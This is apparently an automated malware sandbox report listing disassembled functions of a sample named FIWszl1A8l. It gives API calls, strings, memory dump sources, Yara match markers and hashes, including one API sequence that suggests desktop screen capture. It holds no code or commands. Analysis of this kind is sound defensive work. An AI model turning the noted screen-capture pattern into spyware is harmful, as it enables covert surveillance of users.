Instruction Fuzzy Hash: F2F09674419220ABC704BFF0EC49E0E7BACEF8D340B21C418F9049B21BEA35D841CBA0

Function 0282F383 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 0282F389
___fls_getvalue@4.LIBCMT ref: 0282F394
___fls_setvalue@8.LIBCMT ref: 0282F3A7
__freefls@4.LIBCMT ref: 0282F3DD

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 865245655-0
Opcode ID: 966baa02cbab0462d49951f9c363315c70f1ec3e6bd818d3c9011fc18f246283
Instruction ID: c53b8c1c75ee02ea2ba693edb3285484e62184940a9422ec850593a93ddf3f95
Opcode Fuzzy Hash: 966baa02cbab0462d49951f9c363315c70f1ec3e6bd818d3c9011fc18f246283
Instruction Fuzzy Hash: C3F0127C400255AFD709AFA5CA4890E7BAAAF843147248594E909CB712EB35D446DED2

Function 03FB3C7F Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 03FB3C85
___fls_getvalue@4.LIBCMT ref: 03FB3C90
___fls_setvalue@8.LIBCMT ref: 03FB3CA3
__freefls@4.LIBCMT ref: 03FB3CD9

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
String ID:
API String ID: 865245655-0
Opcode ID: 966baa02cbab0462d49951f9c363315c70f1ec3e6bd818d3c9011fc18f246283
Instruction ID: e77dcbe13b7afa751bfe3a023716a3445658e9771a497880cb331fd4849d5a52
Opcode Fuzzy Hash: 966baa02cbab0462d49951f9c363315c70f1ec3e6bd818d3c9011fc18f246283
Instruction Fuzzy Hash: 2BF049F8604355BBC708FFB2CD4888E7BFDAF842407258454E9088B211EB35D84A8AE5

Function 02829E1F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02829E90
_free.LIBCMT ref: 02829EC2

Strings

&, xrefs: 02829F38

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free_malloc
String ID: &
API String ID: 845055658-3042966939
Opcode ID: 96f475fef29d70f25b531db5fbbeac76c6573e20d4e1e8de80fbd7a54519110d
Instruction ID: d6ffc46b70cbff9d4ec010f211620c88dc55526dcb3016a88785a2fbfec04606
Opcode Fuzzy Hash: 96f475fef29d70f25b531db5fbbeac76c6573e20d4e1e8de80fbd7a54519110d
Instruction Fuzzy Hash: 0151667DD00229AFDB00DFE4C844AEEB7B9EF48314F208119E909E7650D774A989CBA1

Function 03FAE71B Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03FAE78C
_free.LIBCMT ref: 03FAE7BE

Strings

&, xrefs: 03FAE834

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free_malloc
String ID: &
API String ID: 845055658-3042966939
Opcode ID: 96f475fef29d70f25b531db5fbbeac76c6573e20d4e1e8de80fbd7a54519110d
Instruction ID: 1a102108374501782062d51db76b649629eafaae6bf876fff97896f24229d552
Opcode Fuzzy Hash: 96f475fef29d70f25b531db5fbbeac76c6573e20d4e1e8de80fbd7a54519110d
Instruction Fuzzy Hash: 0F5153F5E1061AAFDB00DFA9CD849EEB7B8EF58200F144519E915AB250D734A905CBA0

Function 0282C2CF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

_wcsrchr.LIBCMT ref: 0282C386
_memset.LIBCMT ref: 0282C3C3

Strings

D, xrefs: 0282C3E2

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset_wcsrchr
String ID: D
API String ID: 1675014779-2746444292
Opcode ID: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction ID: 61aad9a56d72518c3db81c7dffbd7e7334306e0e68016ecf5f2483b2ad6ef196
Opcode Fuzzy Hash: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction Fuzzy Hash: BD312B7A9402287BE72497A49C89FFF777CEB04710F104125FB09EA1C0EA71594ACBE6

Function 03FB0BCB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

_wcsrchr.LIBCMT ref: 03FB0C82
_memset.LIBCMT ref: 03FB0CBF

Strings

D, xrefs: 03FB0CDE

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset_wcsrchr
String ID: D
API String ID: 1675014779-2746444292
Opcode ID: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction ID: 4f47f64767c5c40cb42eaed2719c0dc611e72b9f6371630685046bd10995f906
Opcode Fuzzy Hash: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction Fuzzy Hash: 2C3108B69402197BE720EBE58C89FEFB77CEB44710F140129FB09AA1D0EE316905C6A5

Function 02D0B19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 02D0BC70: GetDesktopWindow.USER32 ref: 02D0BC8F
Part of subcall function 02D0BC70: GetDC.USER32(00000000), ref: 02D0BC9C
Part of subcall function 02D0BC70: CreateCompatibleDC.GDI32(00000000), ref: 02D0BCA2
Part of subcall function 02D0BC70: GetDC.USER32(00000000), ref: 02D0BCAD
Part of subcall function 02D0BC70: GetDeviceCaps.GDI32(00000000,00000008), ref: 02D0BCBA
Part of subcall function 02D0BC70: GetDeviceCaps.GDI32(00000000,00000076), ref: 02D0BCC2
Part of subcall function 02D0BC70: ReleaseDC.USER32(00000000,00000000), ref: 02D0BCD3
Part of subcall function 02D0BC70: GetSystemMetrics.USER32(0000004C), ref: 02D0BD78
Part of subcall function 02D0BC70: GetSystemMetrics.USER32(0000004D), ref: 02D0BD8D
Part of subcall function 02D0BC70: CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 02D0BDA6
Part of subcall function 02D0BC70: SelectObject.GDI32(?,00000000), ref: 02D0BDB4
Part of subcall function 02D0BC70: SetStretchBltMode.GDI32(?,00000003), ref: 02D0BDC0
Part of subcall function 02D0BC70: GetSystemMetrics.USER32(0000004F), ref: 02D0BDCD
Part of subcall function 02D0BC70: GetSystemMetrics.USER32(0000004E), ref: 02D0BDE0

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

_memset.LIBCMT ref: 02D0B1E1
swprintf.LIBCMT ref: 02D0B204

Strings

%s %s, xrefs: 02D0B1F3

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: MetricsSystem$CapsCompatibleCreateDevice$BitmapDesktopModeObjectReleaseSelectStretchWindow_malloc_memsetswprintf
String ID: %s %s
API String ID: 1028806752-581060391
Opcode ID: ceb5099551ecbb7f38e4a6b9d9102e9d59c4cbc475059915f4dba22e8bfd4794
Instruction ID: 52b0098e23288ca87646fef87e91456151426ba609f79b52a89411d8ef5872fe
Opcode Fuzzy Hash: ceb5099551ecbb7f38e4a6b9d9102e9d59c4cbc475059915f4dba22e8bfd4794
Instruction Fuzzy Hash: CD21B472A04340ABD210EB25A8C5F5BB7E9EFD9714F04452EF48956391E7619D08CBB3

Function 02D09100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 02D09115

Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF4E
Part of subcall function 02D0EF39: __CxxThrowException@8.LIBCMT ref: 02D0EF63
Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF74

std::_Xinvalid_argument.LIBCPMT ref: 02D09128

Strings

string too long, xrefs: 02D09110, 02D09123

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 0a3534205a400d303b695cafb60f61a50b261ed5054771f0e8ae0175edf9ea8d
Instruction ID: 7d28704062c204baf31be3f223747e9943bb5728f64ebeca900f23bafc65ef77
Opcode Fuzzy Hash: 0a3534205a400d303b695cafb60f61a50b261ed5054771f0e8ae0175edf9ea8d
Instruction Fuzzy Hash: EF1193753443508BD3218E2CE894B56BBE5EBE5A21F100A6AE191877E2C7B1DC05C7B6

Function 02D093F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 02D0941D
std::_Xinvalid_argument.LIBCPMT ref: 02D0944A

Strings

invalid string position, xrefs: 02D09445

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position
API String ID: 3614006799-1799206989
Opcode ID: 43c81e12d1d17a02cd06da4a084e3da6a66a0dcbedfea201f2c8b497c3988773
Instruction ID: c559b1273c0f216d9add50862951d89e0e4162fb972c3b900f7019a365a17c70
Opcode Fuzzy Hash: 43c81e12d1d17a02cd06da4a084e3da6a66a0dcbedfea201f2c8b497c3988773
Instruction Fuzzy Hash: F401F2322002105BD324AE68E8D4BCAF796EB40B24F140A29E1568B7D1D771ED448BA4

Function 00926FA1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 00926FFC

Part of subcall function 009270E4: __getptd_noexit.LIBCMT ref: 009270E4

Strings

B, xrefs: 00926FF5

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 4ea230d637fa5764a43ecdf8be00f7d262e1573a93248e79ca2350081dd71a3f
Instruction ID: 52b35581961c929a436d9042d021fbdb195ca41707b9c2a3b15b75da8fbd702a
Opcode Fuzzy Hash: 4ea230d637fa5764a43ecdf8be00f7d262e1573a93248e79ca2350081dd71a3f
Instruction Fuzzy Hash: 5301AD7290422D9BDF009FA4EC01BEEBBF8FB48364F000115F924B6285E7749504CBA1

Function 0282F179 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 0282F1D4

Part of subcall function 0282F2DA: __getptd_noexit.LIBCMT ref: 0282F2DA

Strings

B, xrefs: 0282F1CD

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 24d6c1a3e6102abc97be550d239efeb380074cf53a155cef3fbb89e81f64d6ff
Instruction ID: 1988ccaa2bd081d710fd251cf95836add5c89c7750c1847e36ffce4ee71a1f37
Opcode Fuzzy Hash: 24d6c1a3e6102abc97be550d239efeb380074cf53a155cef3fbb89e81f64d6ff
Instruction Fuzzy Hash: 6C016D79E002699BDF119FA8CC00BEEBBF5EB04364F504215E928E6280D7749555CFB2

Function 02D0F7BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 02D0F815

Part of subcall function 02D0F91B: __getptd_noexit.LIBCMT ref: 02D0F91B

Strings

B, xrefs: 02D0F80E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 5bc75878e19a99f8b3291bc09011d637415e77d2edc72ea821797cd9c84227ee
Instruction ID: c338a39d9f9cd2842e9328fb11d38dc152aad90a4885d41a6077474587c70027
Opcode Fuzzy Hash: 5bc75878e19a99f8b3291bc09011d637415e77d2edc72ea821797cd9c84227ee
Instruction Fuzzy Hash: 8501AD71D00259AFDF109FA4DC41BEEBBB9FB48364F204115E924A67D0DB749901CBB5

Function 00976FCA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 00977025

Part of subcall function 0097710D: __getptd_noexit.LIBCMT ref: 0097710D

Strings

B, xrefs: 0097701E

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: fd1fdc686e426d0524c4a0ace4d10a2df1a110a2837cd7d0ca9d2c171b75a8c9
Instruction ID: d3a01c25250030a59380cb089c7233b6bd39c25e33029b691a2cbecb7a17f2ac
Opcode Fuzzy Hash: fd1fdc686e426d0524c4a0ace4d10a2df1a110a2837cd7d0ca9d2c171b75a8c9
Instruction Fuzzy Hash: 250161729042599BDF009FA4DC01BEEBBB8EB44364F108115F928A6281D774D901CB65

Function 03FB3A75 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

__output_l.LIBCMT ref: 03FB3AD0

Part of subcall function 03FB3BD6: __getptd_noexit.LIBCMT ref: 03FB3BD6

Strings

B, xrefs: 03FB3AC9

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 24d6c1a3e6102abc97be550d239efeb380074cf53a155cef3fbb89e81f64d6ff
Instruction ID: ed0b57e2237dcdf396e8841c233bc630f71e4e84041f81f103997d245dda58c7
Opcode Fuzzy Hash: 24d6c1a3e6102abc97be550d239efeb380074cf53a155cef3fbb89e81f64d6ff
Instruction Fuzzy Hash: 230161B99002199BDF10DFA6CC01BEEBBB8FB44364F244116E824E6280E7759501CB71

Function 02D09570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 02D0957F

Part of subcall function 02D0EF86: std::exception::exception.LIBCMT ref: 02D0EF9B
Part of subcall function 02D0EF86: __CxxThrowException@8.LIBCMT ref: 02D0EFB0
Part of subcall function 02D0EF86: std::exception::exception.LIBCMT ref: 02D0EFC1

_memmove.LIBCMT ref: 02D095B5

Strings

invalid string position, xrefs: 02D0957A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: invalid string position
API String ID: 1785806476-1799206989
Opcode ID: f1cc09ac8dc26196695033cc702a5ea1eb83aced3ff2ae3940b20ad974faac55
Instruction ID: dfca570eb95327ad330a7034dbb2d5ca63d86aa966c773c03a5d5493b212603f
Opcode Fuzzy Hash: f1cc09ac8dc26196695033cc702a5ea1eb83aced3ff2ae3940b20ad974faac55
Instruction Fuzzy Hash: 2E0144313006014BD7258A6DE9E875EB7E7DBC5904B644928D081C77DAD6B1DC4287A4

Function 02D0D1C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 02D0D1D4

Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF4E
Part of subcall function 02D0EF39: __CxxThrowException@8.LIBCMT ref: 02D0EF63
Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF74

_memmove.LIBCMT ref: 02D0D20D

Strings

vector<T> too long, xrefs: 02D0D1CF

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 3e1793caa54bac6624b49afb9c640bb96d29a13ee6af4b90037f2f2de8e944ef
Instruction ID: d2f37cff9e8c68e4d4cbfb77ae9236aa1cfd6176bc862e885d59aa3537fdc63d
Opcode Fuzzy Hash: 3e1793caa54bac6624b49afb9c640bb96d29a13ee6af4b90037f2f2de8e944ef
Instruction Fuzzy Hash: 8F01F573E401139FC704DF69E8C0D2A77D9E65021074A4A2AEC1AE3790E7F2EC248BA0

Function 02D08430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 02D08443

Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF4E
Part of subcall function 02D0EF39: __CxxThrowException@8.LIBCMT ref: 02D0EF63
Part of subcall function 02D0EF39: std::exception::exception.LIBCMT ref: 02D0EF74

_memmove.LIBCMT ref: 02D0846E

Strings

vector<T> too long, xrefs: 02D0843E

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argument_memmovestd::_
String ID: vector<T> too long
API String ID: 1785806476-3788999226
Opcode ID: 73639cac21f6ce81e3477eb32742910142ba40fb6b7ea67406cc98bb4557129a
Instruction ID: d8d101a61c9d3a03a4ad5df65637c9bdf199b98e8cf51af3951c8cee64efc820
Opcode Fuzzy Hash: 73639cac21f6ce81e3477eb32742910142ba40fb6b7ea67406cc98bb4557129a
Instruction Fuzzy Hash: 3C018FB16002058FDB28DEA8DCD1A2AB7DAEB54214B18492DE896C7790E670FC04CB60

Function 00933414 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0093343E
__CallSettingFrame@12.LIBCMT ref: 0093348A

Strings

j, xrefs: 00933414

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 2a3c231524d2f5714940ff7c9f67256147f183406962bf184a7791e03a03933a
Instruction ID: 3f9b2835d5b4333de25a794ca70b2c3c07f7c48da1a33638e308e6157613e334
Opcode Fuzzy Hash: 2a3c231524d2f5714940ff7c9f67256147f183406962bf184a7791e03a03933a
Instruction Fuzzy Hash: 7911AD71800264DBCB12DF58C4893ACBB74BF01324F25C189E4952B6A3C374AE91DF91

Function 0283FD07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0283FD31
__CallSettingFrame@12.LIBCMT ref: 0283FD7D

Strings

j, xrefs: 0283FD07

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 90659ebcae58fcf1a05544bb40a9ab719d54a7eef93821734f71d7871a8b8079
Instruction ID: a85191df6bd6558ee613aa495b0eb393146c38215d5f58e236f6ebcfee60ca33
Opcode Fuzzy Hash: 90659ebcae58fcf1a05544bb40a9ab719d54a7eef93821734f71d7871a8b8079
Instruction Fuzzy Hash: D5115B3DC01219EFDB12DF58C1487ACBB71BB04319F158189D568ABA92C7747A91CFD2

Function 03FC4603 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03FC462D
__CallSettingFrame@12.LIBCMT ref: 03FC4679

Strings

j, xrefs: 03FC4603

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CallFrame@12Setting__getptd
String ID: j
API String ID: 3454690891-2137352139
Opcode ID: 90659ebcae58fcf1a05544bb40a9ab719d54a7eef93821734f71d7871a8b8079
Instruction ID: a7d98c820a5e95f251b0a556e10acf4c1f01f17aa6d2baeb4073f9504c01c6d9
Opcode Fuzzy Hash: 90659ebcae58fcf1a05544bb40a9ab719d54a7eef93821734f71d7871a8b8079
Instruction Fuzzy Hash: 97118B76C60292EBCB22DF5AC6647ACFB70FB00314F19808ED8682B185C770A991DB91

Function 009337A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 009337AF

Part of subcall function 009298E6: __getptd_noexit.LIBCMT ref: 009298E9
Part of subcall function 009298E6: __amsg_exit.LIBCMT ref: 009298F6

__getptd.LIBCMT ref: 009337BD

Strings

csm, xrefs: 009337CB

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction ID: 62a475586654251051cb57b5e3c6ed56e0eda68bb4dc6cdc5d1b32e9209c9d90
Opcode Fuzzy Hash: f0e1e4535676af74e2e30162e3fe80640730f6540ac6db6f2fff18db7859968d
Instruction Fuzzy Hash: F7014674C82205CACF38AF21D4447ADB3B9AF54311F68C82EF4919A692DB308B80DF61

Function 02840093 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 028400A2

Part of subcall function 0283381A: __getptd_noexit.LIBCMT ref: 0283381D
Part of subcall function 0283381A: __amsg_exit.LIBCMT ref: 0283382A

__getptd.LIBCMT ref: 028400B0

Strings

csm, xrefs: 028400BE

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: ed8e3c2f6f9e9359e80b28db09ff3006f55f39b3e768407fd236d59bca62e303
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: F4012C3C8042099BCF399F68C4407AEB7B5BF10215F64841AD6C9D6A50DF349591CF81

Function 02D206D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02D2010A: __getptd.LIBCMT ref: 02D20110
Part of subcall function 02D2010A: __getptd.LIBCMT ref: 02D20120

__getptd.LIBCMT ref: 02D206E3

Part of subcall function 02D13E5B: __getptd_noexit.LIBCMT ref: 02D13E5E
Part of subcall function 02D13E5B: __amsg_exit.LIBCMT ref: 02D13E6B

__getptd.LIBCMT ref: 02D206F1

Strings

csm, xrefs: 02D206FF

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction ID: e12d5b611a30c081f36a0664538f13f41743bbad6f76b73c4124e63b755239c6
Opcode Fuzzy Hash: b3fce28b2bddc590aa98f0218856aed1c2aaf2d0e4e6e47b24808f92d36aa4a8
Instruction Fuzzy Hash: E50174388003218ECF359F20D4946ACB3B6BF3021AF24892ED05997790CB308D89CE60

Function 009837C9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009832AE: __getptd.LIBCMT ref: 009832B4
Part of subcall function 009832AE: __getptd.LIBCMT ref: 009832C4

__getptd.LIBCMT ref: 009837D8

Part of subcall function 0097990F: __getptd_noexit.LIBCMT ref: 00979912
Part of subcall function 0097990F: __amsg_exit.LIBCMT ref: 0097991F

__getptd.LIBCMT ref: 009837E6

Strings

csm, xrefs: 009837F4

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
